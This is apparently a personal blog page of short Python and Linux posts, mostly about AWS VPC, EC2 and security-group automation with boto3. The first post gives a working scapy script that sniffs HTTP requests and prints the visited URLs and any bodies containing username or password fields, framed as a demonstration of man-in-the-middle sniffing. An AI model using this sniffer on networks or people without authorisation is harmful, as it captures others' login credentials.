[python]Capturing username and password from http login

Clear text site
Nowadays it is quite rare to find http login page, because http is insecure, information sent towards the http site is all clear text, if there is a man in the middle sniffing packets to reveal the username and password is possible.

Sniffing class
I have written a class in python to demonstrate this man in the middle sniffing. Doing man in the middle is easier sad than done, you need to find a way to intercept traffic sent from the original host.

The module I am using is scapy and scapy-http. Scapy does not have a http filter and hence cannot get the header and payload in the http, scapy-http has a http filter which can capture the entire http payload.

import scapy.all # packet capture module
from scapy_http import http # supplementing scapy module by providing http filter
from urllib.parse import unquote # to make url encoded text into string

# main class known as sniffing, the class file is k9.py
class sniffing:
    def __init__(self, interface, filter=""):
        self.sniffs(interface, filter) # filter is optional, default is empty string
        # filter can be "port 80", "tcp", "udp", "udp", "port 21" etc...

# The method that does the packet processing, by printing out packets sniff by scapy.
    def processing_packets(self, pkt):
        if pkt.haslayer(http.HTTPRequest): # http request filter
            if pkt.haslayer(scapy.all.Raw): # Raw data within the http packet which contains user and pwd.
                print(unquote(str(pkt[scapy.all.Raw]))) # print out the raw packet that has username and password.

# The method that calls scapy, this is the actual method that does the work.
    def sniffs(self, interface, filter):
        return scapy.all.sniff(iface=interface, store=0, prn=self.processing_packets, filter=filter)

This is the main code that executes the script:

import k9

try:
    k9.sniffing('en0')

except KeyboardInterrupt:
    print('Exit...')

Result

Below is an improvement of the sniffing class, to only print out if username and password variables are present else do not print, also review the site the username and password is used.

from scapy import all as scapy # packet capture module
from scapy_http import http # supplementing scapy module by providing http filter
from urllib.parse import unquote # to make url encoded text into string

# keywords guessing the variable use for username and password
keywords = ['pass', 'password', 'usr', 'username', 'user', 'pwd']


class sniffing():
    def __init__(self, interface, filter=""):
        self.sniffs(interface, filter)

    def processing_data(self, pkt):
        if pkt.haslayer(http.HTTPRequest): # look for http request
            print(pkt[http.HTTPRequest].Host + pkt[http.HTTPRequest].Path) # print the URL, the victim visits
            if pkt.haslayer(scapy.Raw): # username and password appears in raw field
                for keyword in keywords: # check if each keyword exists
                    if keyword in str(pkt[scapy.Raw]): # in the raw field
                        print(unquote(str(pkt[scapy.Raw]))) # if exists, print out the content once.
                        break

    def sniffs(self, interface, filter):
        return scapy.sniff(iface=interface, store=False, prn=self.processing_data, filter=filter)
Advertisements
Posted in Python, Security | Tagged , , | 2 Comments

[python]To find out difference between two list

Use case
You have an actual name list you need to deploy software to through automated tool such as KACE by Quest software. You received a report no the number of people actually received the software and you need to know the actual percentage of software deployed.

Possible solution
set() removes duplicates, and is unordered, we use set() because we can use arithmetic operator to check the difference between two list.

actual_name_list_for_deployment = ['abc', 'cde', 'fgh', 'ijk', 'lmn']
deployed_name_list = ['abc', 'lmn']

diff = set(actual_name_list_for_deployment) - set(deployed_name_list)
print('The list of people not deployed is {}'.format(diff))
print('The actual deployment is {}% of the {} people in the actual name list, {}% has not received the software'.format(
    str((len(deployed_name_list)/len(actual_name_list_for_deployment) * 100)),
        len(actual_name_list_for_deployment),
str((len(diff)/len(actual_name_list_for_deployment))*100)))

Results
Screenshot 2019-05-14 at 1.36.25 PM
You can replace the static lists with the actual file by opening the files and store the file object to another variable and you can use set() to create a pair of set object, minus the original list with the list reported by your server, then print out the percentage.

Posted in Python | Tagged , , , | Leave a comment

[python]Start up script to create VPC to launch EC2

Use case
This is an interactive start up script to do from creating VPC to launching EC2. This is a follow up from this post – Functions for aws automation, I have added a few more functions to make it complete.

Demonstration
This is the interactive script:
Screenshot 2019-05-11 at 7.09.32 PM.png
Screenshot 2019-05-11 at 7.09.43 PM.png

These are the results in AWS console:
VPC
Screenshot 2019-05-11 at 7.21.42 PM

Subnets
Screenshot 2019-05-11 at 7.22.01 PM.png

Subnets routes
Screenshot 2019-05-11 at 7.25.49 PM.png

Route table
Screenshot 2019-05-11 at 7.27.07 PM.png

Route association with subnet
Screenshot 2019-05-11 at 7.27.44 PM.png

Security groups
Screenshot 2019-05-11 at 7.22.27 PM.png
Screenshot 2019-05-11 at 7.30.19 PM.png

EC2 instance, this I was using the Amazon Linux AMI 2018.03.0 (HVM), SSD Volume Type.
Screenshot 2019-05-11 at 7.31.42 PM

The web site
Screenshot 2019-05-11 at 8.29.01 PM

The codes of the above
The code is documented see the inline comments below.

import boto3 # AWS API
from ipaddress import ip_network # Use to test subnet and host net
import botocore.exceptions # for catching exceptions in calling AWS API
from pprint import pprint # makes printing easier for a list

# This filter works for VPC, subnets as long as the Tag is named.
filter = [{'Name':'tag:Name', 'Values':['*']}]

# Tested working on Amazon Linux AMI 2018.03.0 (HVM), SSD Volume Type
linux_startup_script = """#!/bin/bash
                    yum update -y
                    yum install httpd24 -y
                    service httpd start
                    chkconfig httpd on
                    echo "<h1>Test page</h1>" &gt; /var/www/html/index.html"""

# Network that matches all.
match_all_net = '0.0.0.0/0'

# AWS client initializer, S3 or EC2, uses boto3's client method.
def get_client(resource_name):
    return boto3.client(resource_name)

# For collecting values with a dictionary key (attrib_id)
# vpc_list can be called using describe_subnets(Filters=filter)[attrib_id] or describe_vpcs(Filters=filter)[attrib_id]
def get_attribute_from_vpc(attrib_id, vpc_list):
    # resets the collector.
    collector = []
    for vpc in vpc_list:
        collector.append(vpc[attrib_id])
    return collector


# base on the prefix length, ip_network method is able to list down the subnets from a VPC cidr block.
def suggest_subnets(supernet, prefix_len):
    # resets the subnets list
    subnets = []
    for subnet in ip_network(supernet).subnets(new_prefix=prefix_len):
        subnets.append(str(subnet))
    return subnets


def create_subnet(client, vpc_id, subnet):
    return client.create_subnet(VpcId=vpc_id, CidrBlock=subnet)


# Use for naming VPCs, subnets, internetgateways, security groups...
def create_tags(client, chosen_name, resources):
    tag = [
        {
            'Key': 'Name',
            'Value': chosen_name
        }
    ]
    return client.create_tags(Resources=[resources], Tags=tag)


# Converts the list processed by get_attribute_from_vpc into a dictionary.
def resource_menu(resource_list):
    collector = []
    for resource in resource_list:
        collector.append(resource)
    menu_dict = {}
    for i in range(len(collector)):
        j = i + 1
        menu_dict[j] = collector[i]
    return menu_dict


# Creates a route table, for storing routes.
def create_rtbl(client, vpc_id):
    return client.create_route_table(VpcId=vpc_id)


# Define the routes and stores in route table, needs to attach to internet gateway if internet access is required.
def create_route(client, rtbl_id, igw_id, dst_net):
    return client.create_route(RouteTableId=rtbl_id, DestinationCidrBlock=dst_net, GatewayId=igw_id)


# Not needed, but this can find the existing internet gateway id.
# Use get_attribute_from_vpc and resource_menu instead to get any kinds of ids
def find_internet_gateway_id(client, vpc_id):
    igw_id = ""
    igw_responses = client.describe_internet_gateways(Filters=filter)
    for i in igw_responses['InternetGateways']:
        for j in i['Attachments']:
            if vpc_id in j['VpcId']:
                igw_id = i['InternetGatewayId']
    return igw_id

# attach the route table to a subnet.
def associate_route_table(client, rtbl_id, subnet_id):
    return client.associate_route_table(RouteTableId=rtbl_id, SubnetId=subnet_id)

# This allows the EC2 instance assigned to this subnet to automatically gets a dynamically assigned public address.
def auto_assigned_public_ipv4_address(client, subnetid):
    return client.modify_subnet_attribute(SubnetId=subnetid,
                                          MapPublicIpOnLaunch={'Value': True})

# works like a firewall, needs to associate with a VPC.
def create_security_group(client, group_name, description, vpc_id):
    return client.create_security_group(GroupName=group_name, Description=description, VpcId=vpc_id)


# Collects ip addresses from user's input, this is used for source address in security group.
def cidrip_list_collector():
    results = []
    process_results = []
    stop = int(input("How many source ip address you want"))
    print("Press enter with empty response to quit.")
    for i in range(0,stop):
        ip = input("Source address:")
        if ip is not "":
            try:
                ip_network(ip)
                results.append(ip)
            except ValueError as e:
                print(e)
        else:
            break
    # collecting the dictionary / dictionaries in a list
    for result in results:
        results_dict = {'CidrIp': result}
        process_results.append(results_dict)
    return process_results


# This creates the security group required format, and passed as a dictionary for the IpPermission parameter
# in boto3.authorize_security_group_ingress method.
def rule_form():
    port_list = []
    protocol_response = input("Protocol (tcp/udp)?:")
    if protocol_response.lower() == 'tcp':
        protocol = protocol_response.lower()
    elif protocol_response.lower() == 'udp':
        protocol = protocol_response.lower()
    else:
        print("Invalid choice, this field cannot be empty, hence default to tcp")
        protocol = 'tcp'
    port_range_response = input("Enter your port range, if only one port example 80, write 80,80, \r\n"
                                "if it is a range like 90-100 write 90,100:").split(',')
    for index in port_range_response:
        port_list.append(index)
    ip_ranges_list = cidrip_list_collector()
    return {
            'IpProtocol': protocol,
            'FromPort': int(port_list[0]),
            'ToPort': int(port_list[1]),
            'IpRanges': ip_ranges_list
        }


# When calling this method, the ip_permission has to be passed as a list, the parameter of
# boto3.authorize_security_group_ingress IpPermissions only accepts list.
def create_inbound_rule(client, group_id, ip_permission):
    return client.authorize_security_group_ingress(GroupId=group_id, IpPermissions=ip_permission)


# for sec_group_id, subnet_id you can use the methods get_attribute_from_vpc and resource_menu to find them.
# user_data is not compulsory, it can be a startup script for an EC2 instance.
# image_id has to be obtained from aws console.
# if you want to launch one EC2 at once, min_count and max_count both are 1, if you need to launch 10,
# then min_count = 1, max_count = 10, the min_count and max_count only accept integer.
# python's input method is a string, you will need to convert to integer using int() method.
def launch_ec2_instance(client, image_id, keyname, min_count, max_count, sec_group_id, subnet_id, user_data):
    return client.run_instances(ImageId=image_id,
                                KeyName=keyname,
                                MinCount=min_count,
                                MaxCount=max_count,
                                InstanceType='t2.micro',
                                SecurityGroupIds=[sec_group_id],
                                SubnetId=subnet_id,
                                UserData=user_data)

# This key pair name is used for ssh
# returns the keyname of user's choice and the response after key pair is created.
def create_key_pair(client):
    keyname = input('enter a key name:')
    return keyname, client.create_key_pair(KeyName=keyname)

# Creates a VPC
def create_vpc(client, cidr_block):
    return client.create_vpc(CidrBlock=cidr_block)

# creates an internet gateway, and returns the internet gateway response
# After the internet gateway is created, it is attached to a VPC
def create_intenet_gateway(client, vpc_id):
    create_igw_response = client.create_internet_gateway()
    pprint("Internet gateway {} is created".format(create_igw_response['InternetGateway']['InternetGatewayId']))
    pprint("Attaching {} to {}".format(
        create_igw_response['InternetGateway']['InternetGatewayId'],
        vpc_id
    ))
    return [
        client.attach_internet_gateway(
            InternetGatewayId=create_igw_response['InternetGateway']['InternetGatewayId'],
            VpcId=vpc_id),
        create_igw_response]


if __name__ == '__main__':
    # EC2 client, can be S3 if you need to configure storage.
    ec2 = get_client('ec2')
    """:type : pyboto3.ec2"""
    cidr_block = input("The subnet block for your VPC: ")
    try:
        # Test the cidr block entered by user.
        ip_network(cidr_block)
        try:
            # always get a response after you call the method. This case is to create a vpc with cidr block specified
            # by the user.
            create_vpc_response = create_vpc(ec2, cidr_block)
            # the response is useful if you need to get the value such as VpcId, this not only applies to VPC,
            # it applies to security group, internet gateway, subnets creation....
            pprint('VPC {} is created.'.format(create_vpc_response['Vpc']['VpcId']))
            # collects the desired name of VPC by user. Naming VPC is to conveniently use the filter.
            create_vpc_name = input('Name this VPC {}: '.format(create_vpc_response['Vpc']['VpcId']))
            # Name the VPC with user's chosen name for the VPC
            create_vpc_tags_response = create_tags(ec2,
                                               create_vpc_name,
                                               create_vpc_response['Vpc']['VpcId']
                                               )
            pprint("VPC {} is named.".format(create_vpc_response['Vpc']['VpcId']))
            # Creates an internet gateway, always get the response, for later usage.
            create_internet_gateway_response = create_intenet_gateway(
                ec2, create_vpc_response['Vpc']['VpcId'])
            pprint("This section you need to choose subnets from the CIDR block...")
            # Get the prefix length from user, checks should be written such that chosen
            # prefix length must never be shorter than the prefix length of the CIDR block of VPC.
            prefix_len = int(input("Enter the prefix length you want for {}: ".format(
                create_vpc_response['Vpc']['CidrBlock'])))
            # This collects the dictionary of CIDR blocks of VPCs
            resource_menu_response = resource_menu(suggest_subnets(create_vpc_response['Vpc']['CidrBlock'],
                                                                   prefix_len))
            iteration = True
            while iteration:
                pprint(resource_menu_response)
                # This user's choice is a dictionary key.
                subnet_choice = int(input("Select the subnet you wish to create from the suggested list only: "))
                try:
                    # Creates the subnet, always get the response for later use.
                    # the user's choice is used here to reference subnet.
                    # create subnet require vpc id and subnet.
                    create_subnet_response = create_subnet(ec2,
                                  create_vpc_response['Vpc']['VpcId'],
                                  resource_menu_response[subnet_choice])
                    if input("Want to make this subnet to auto assign public address to EC2 instance?: ").lower() == 'y':
                        # Enable subnet to automatically assign public address to EC2 instance.
                        # subnet id is required to enable the auto assign pub address.
                        # as shown here again, always get response after something is created.
                        # you will use it most of the time, such as create_subnet_response is used to
                        # reference the subnet id.
                        auto_assigned_public_ipv4_address_response = auto_assigned_public_ipv4_address(ec2,
                                                          create_subnet_response['Subnet']['SubnetId'])
                        pprint("Subnet is enabled for auto assigned public ipv4 address, "
                               "this means whenever an EC2 instance is attached to this subnet,"
                               "the EC2 instance will be auto assigned a publicly routable address.")
                    else:
                        pprint("Auto assigned ipv4 public address is not enabled for {}".format(
                            create_subnet_response['Subnet']['SubnetId']
                        ))
                    create_subnet_name = input("Name this subnet {}: ".format(
                        create_subnet_response['Subnet']['SubnetId']))
                    # Name the subnet, so that the filter can be used, to only show the things you have created.
                    create_subnet_tags_response = create_tags(ec2,
                                create_subnet_name,
                                create_subnet_response['Subnet']['SubnetId'])
                    # This is to prevent user from selecting the same subnet that was configured before.
                    del resource_menu_response[subnet_choice]
                    if input("Create another subnet for {}?: ".format(
                            create_vpc_response['Vpc']['VpcId']
                    )).lower() == 'y':
                        iteration = True
                    else:
                        iteration = False
                except botocore.exceptions.ClientError as e:
                    pprint(e)
            pprint("You have created VPC and subnet(s), the next is to create route table...")
            # To create the route table, as always get the response. This line uses create_vpc_response again
            # to reference VPC ID.
            create_rtbl_response = create_rtbl(ec2, create_vpc_response['Vpc']['VpcId'])
            pprint("Route table {} is created, the next is to put in the routes...".format(
                create_rtbl_response['RouteTable']['RouteTableId']
            ))
            add_route_iteration = True
            while add_route_iteration:
                if(input("Is this a default route?: ")).lower() == 'y':
                    # creating routes, and store them in route table.
                    # attach to internet gateway is optional, only requires if your EC2 instance requires
                    # internet access, or you need visitor to access from the internet.
                    # if user says yes to default route, match_all_net is used.
                    # create_internet_gateway_response is a list that contains:
                    # response from attach_internet_gateway and create_internet_gateway.
                    # create_internet_gateway_response[0] contains response from boto3.attach_internet_gateway.
                    # create_internet_gateway_response[1] contains response from boto3.create_internet_gateway.
                    create_route_response = create_route(ec2,
                                 create_rtbl_response['RouteTable']['RouteTableId'],
                                 create_internet_gateway_response[1]['InternetGateway']['InternetGatewayId'],
                                 match_all_net)
                else:
                    dst_net_choice = (input("Specify a network: "))
                    try:
                        # checks if the destination network is valid or not.
                        ip_network(dst_net_choice)
                        # For user to specify the destination network for another route.
                        create_route_response = create_route(ec2,
                                     create_rtbl_response['RouteTable']['RouteTableId'],
                                     create_internet_gateway_response[1]['InternetGateway']['InternetGatewayId'],
                                     dst_net_choice)

                    except ValueError as e:
                        pprint(e)
                # Collects the list of subnets
                subnets = get_attribute_from_vpc('CidrBlock', ec2.describe_subnets(Filters=filter)['Subnets'])
                # Collects the list of subnet ids.
                subnet_ids = get_attribute_from_vpc('SubnetId', ec2.describe_subnets(Filters=filter)['Subnets'])
                # Converts the list of subnets to a dictionary of subnets.
                resource_menu_subnets = resource_menu(subnets)
                # User only sees the subnets and not the subnet ids. Subnet ids are not readable by user, haha.
                pprint(resource_menu_subnets)
                invalid_subnet_choice = True
                while invalid_subnet_choice:
                    # The subnets_choice has to be an integer to reference the value of subnet id.
                    subnets_choice = int(input("Choose the subnet to associate the route table:"))
                    # Converts the list of subnet ids into a dictionary of subnet ids.
                    resource_menu_subnet_ids = resource_menu(subnet_ids)
                    try:
                        associate_route_table_response = associate_route_table(
                            ec2,
                            create_rtbl_response['RouteTable']['RouteTableId'],
                            resource_menu_subnet_ids[subnets_choice]) # Gets the subnet id based on the integer from user.
                        pprint("Associated {} to subnet {}".format(
                            create_rtbl_response['RouteTable']['RouteTableId'],
                            resource_menu_subnet_ids[subnets_choice]
                        ))
                    except botocore.exceptions.ClientError as e:
                        pprint(e)
                    if subnets_choice in resource_menu_subnets.keys():
                        invalid_subnet_choice = False

                    else:
                        invalid_subnet_choice = True

                if(input("Add some more routes?: ")).lower() == 'y':
                    add_route_iteration = True
                else:
                    add_route_iteration = False
            pprint("Next is to create ingress security group...")
            sec_grp_name = input("Name the security group: ")
            sec_grp_description = input("Describe this security group: ")
            # security group requires a group name and VPC ID, description is not mandatory.
            # This creates the security group and attached to VPC.
            create_security_group_response = create_security_group(ec2,
                                                                   sec_grp_name,
                                                                   sec_grp_description,
                                                                   create_vpc_response['Vpc']['VpcId'])
            pprint("Security group {} is created and attached to VPC {}...".format(
                create_security_group_response['GroupId'],
                create_vpc_response['Vpc']['VpcId']
            ))
            want_to_add_more_rules = True
            while want_to_add_more_rules:
                # sec_grp_rule is for the IpPermissions parameter in boto3.authorize_security_group_ingress.
                # the IpPermissions parameter only accepts list.
                # hence the dictionary type returned by rule_form() has to be converted to list.
                sec_grp_rule = [rule_form()]
                # creating the rule for inbound only, rule will be attached to a security group.
                create_inbound_rule_response = create_inbound_rule(ec2,
                                    create_security_group_response['GroupId'],
                                    sec_grp_rule)
                pprint("Adding ingress rules to security group {}...".format(
                    create_security_group_response['GroupId']
                ))
                if input("Want to add more rules?: ").lower() == 'y':
                    want_to_add_more_rules = True
                else:
                    want_to_add_more_rules = False
            pprint("The next is to launch new EC2 instance(s). You need to head over "
                   "to aws console to find the image id that starts with ami-xxxxxxx")
            pprint("I need to generate a pair of keys for your EC2, tell me your keyname you would like: ")
            # create_key_pair() returns the keyname of user's choice and the response from boto3.create_key_pair.
            keyname, create_key_pair_response = create_key_pair(ec2)
            imageid = input("Your chosen image id found in aws console: ")
            ec2_count = int(input("How many EC2 instances would you want to launch at once?: "))
            subnets_for_ec2 = get_attribute_from_vpc('CidrBlock', ec2.describe_subnets(Filters=filter)['Subnets'])
            subnet_ids_for_ec2 = get_attribute_from_vpc('SubnetId', ec2.describe_subnets(Filters=filter)['Subnets'])
            resource_menu_subnets = resource_menu(subnets_for_ec2)
            resource_menu_subnets_ids = resource_menu(subnet_ids_for_ec2)
            pprint(resource_menu_subnets)
            subnets_choice = int(input("Choose the subnet to launch EC2 instance(s):"))
            launch_ec2_instance(ec2,
                                imageid, # Find out from aws console
                                keyname,
                                1, ec2_count, # min and max count, must be integer
                                create_security_group_response['GroupId'],
                                resource_menu_subnets_ids[subnets_choice],
                                linux_startup_script) # startup script uses yum, which red hat and 
                                                    # Amazon Linux AMI 2018.03.0 (HVM), SSD Volume Type use.
        except botocore.exceptions.ClientError as e:
            pprint(e.response['Error']['Message'])
    except ValueError as e:
        pprint(e)
Posted in Python, Scripting | Tagged , , , , , , , | Leave a comment

[linux]rescan the hard drive after your vm got an expanded storage

The Tufin securechange vm got an expanded storage of 1TB more, however I cannot see it immediately with the fdisk -l command.

I need to rescan it using echo "1" > /sys/class/block/sda/device/rescan, then do fdisk -l, you will see the /dev/sda with the full disk (after expanded). It works immediately..

Posted in Linux | Tagged , , | Leave a comment

[python]Creating security group and inbound rule

This is the extension of Functions of aws automation.I have added some methods to create security groups and apply rules.

In addition to the functions/methods describe here, I have created 4 more methods to accomplish these:

  • Security group creation
  • Inbound rule creation to the security group.

    Demonstration

    create_security_group method
    This method create a security group which allows me to do inbound and outbound rules.

    def create_security_group(client, group_name, description, vpc_id):
        return client.create_security_group(GroupName=group_name, Description=description, VpcId=vpc_id)
    

    cidrip_list_collector method
    This method gets the list of ip address or subnet from user’s input, the user needs to specify the number of source addresses that are expected. The return result is type list.

    def cidrip_list_collector():
        results = []
        process_results = []
        stop = int(input("How many source ip address you want"))
        print("Press enter with empty response to quit.")
        for i in range(0,stop):
            ip = input("Source address:")
            if ip is not "":
                try:
                    ip_network(ip)
                    results.append(ip)
                except ValueError as e:
                    print(e)
            else:
                break
        # collecting the dictionary / dictionaries in a list
        for result in results:
            results_dict = {'CidrIp': result}
            process_results.append(results_dict)
        return process_results
    

    rule_form method
    This method gets these information from user:

    • protocol type either tcp or udp
    • port range, if it is only one port then the start and end ports are the same number. The port is integer type, hence need to use int() so that the list is converted from string to integer.
    • source ip range.This is a list of dictionary or dictionaries of ip addresses.

    The return type is list.

    def rule_form():
        port_list = []
        protocol_response = input("Protocol (tcp/udp)?:")
        if protocol_response.lower() == 'tcp':
            protocol = protocol_response.lower()
        elif protocol_response.lower() == 'udp':
            protocol = protocol_response.lower()
        else:
            print("Invalid choice, this field cannot be empty, hence default to tcp")
            protocol = 'tcp'
        port_range_response = input("Enter your port range, if only one port example 80, write 80,80, \r\n"
                                    "if it is a range like 90-100 write 90,100:").split(',')
        for index in port_range_response:
            port_list.append(index)
        ip_ranges_list = cidrip_list_collector()
        return [
            {
                'IpProtocol': protocol,
                'FromPort': int(port_list[0]),
                'ToPort': int(port_list[1]),
                'IpRanges': ip_ranges_list
            }
        ]
    

    create_inbound_rule method
    This method calls boto3’s authorize_security_group_ingress method.

    Test codes

    if __name__ == '__main__':
        ec2 = get_client('ec2')
        """:type : pyboto3.ec2"""
        vpc_ids = get_attribute_from_vpc('VpcId', ec2.describe_vpcs(Filters=filter)['Vpcs'])
        vpc_ids_menu = resource_menu(vpc_ids)
        while True:
            print(vpc_ids_menu)
            vpc_ids_choice = int(input("Choose a VPC:"))
            if vpc_ids_choice not in vpc_ids_menu.keys():
                print("Invalid choice")
                break
            else:
                if(input("Do you want to create security group?:").lower()) == 'y':
                    group_name = input("Security Group name?:")
                    description = input("Description:")
                    create_sc_response = create_security_group(ec2, group_name, description, vpc_ids_menu[vpc_ids_choice])
                    print("The security group {} is created for {}".format(create_sc_response['GroupId'],
                                                                           vpc_ids_menu[vpc_ids_choice]))
                    create_inbound_rule_response = create_inbound_rule(ec2, create_sc_response['GroupId'], rule_form())
                    print("Security group {} is updated with inbound rule.".format(create_sc_response['GroupId']))
                else:
                    print("Bye..")
                break
    

    A note about is and ==
    == comparison of its value whereas “is” comparison if two objects from the same instance if they are then the boolean is true.

Posted in Python, Scripting | Tagged , , , , , , | Leave a comment

[python]Making a list of dictionaries

Use case
I am trying to write a script for doing security group based on user’s input. the IpRanges is a list of dictionary. I intend to do a method which generate multiple dictionaries with the same key but different values, and put these dictionaries into a list.

ipaddress.ip_network method can evaluate both host ip address and ip subnet, if the value is not a valid subnet or ipv4 address an exception will be thrown, the collection will be based on only valid subnet or host ip address.

from ipaddress import ip_network
results = []
process_results = []
stop = int(input("how many source ip address you want"))
print("Press enter with empty response to quit.")
for i in range(0,stop):
    ip = input("Source address:")
    if ip is not "":
        try:
            ip_network(ip)
            results.append(ip)
        except ValueError as e:
            print(e)
    else:
        break
# collecting the dictionary / dictionaries in a list
for result in results:
    results_dict = {'ip': result}
    process_results.append(results_dict)
print(process_results)

Test case 1: mixture of ip address and subnets
Screenshot 2019-05-08 at 3.57.30 PM

Test case 2: mixture of ip address, subnet and empty input
Screenshot 2019-05-08 at 5.58.47 PM

Test case 3: mixture of ip address, invalid data and subnet
Screenshot 2019-05-08 at 6.00.27 PM
Screenshot 2019-05-08 at 6.01.09 PM

Posted in Python, Scripting | Tagged , , | Leave a comment

[python]Create keypair in EC2

This is a simple code using boto3.

To generate the key pair for EC2 here’s the simple code.

import boto3
from pprint import pprint

ec2 = boto3.client('ec2')
""":type : pyboto3.ec2"""
keyname = input('enter a key name:')
key_pair_creation_response = ec2.create_key_pair(KeyName=keyname)
pprint(keyname)
Posted in Python | Tagged , , , | Leave a comment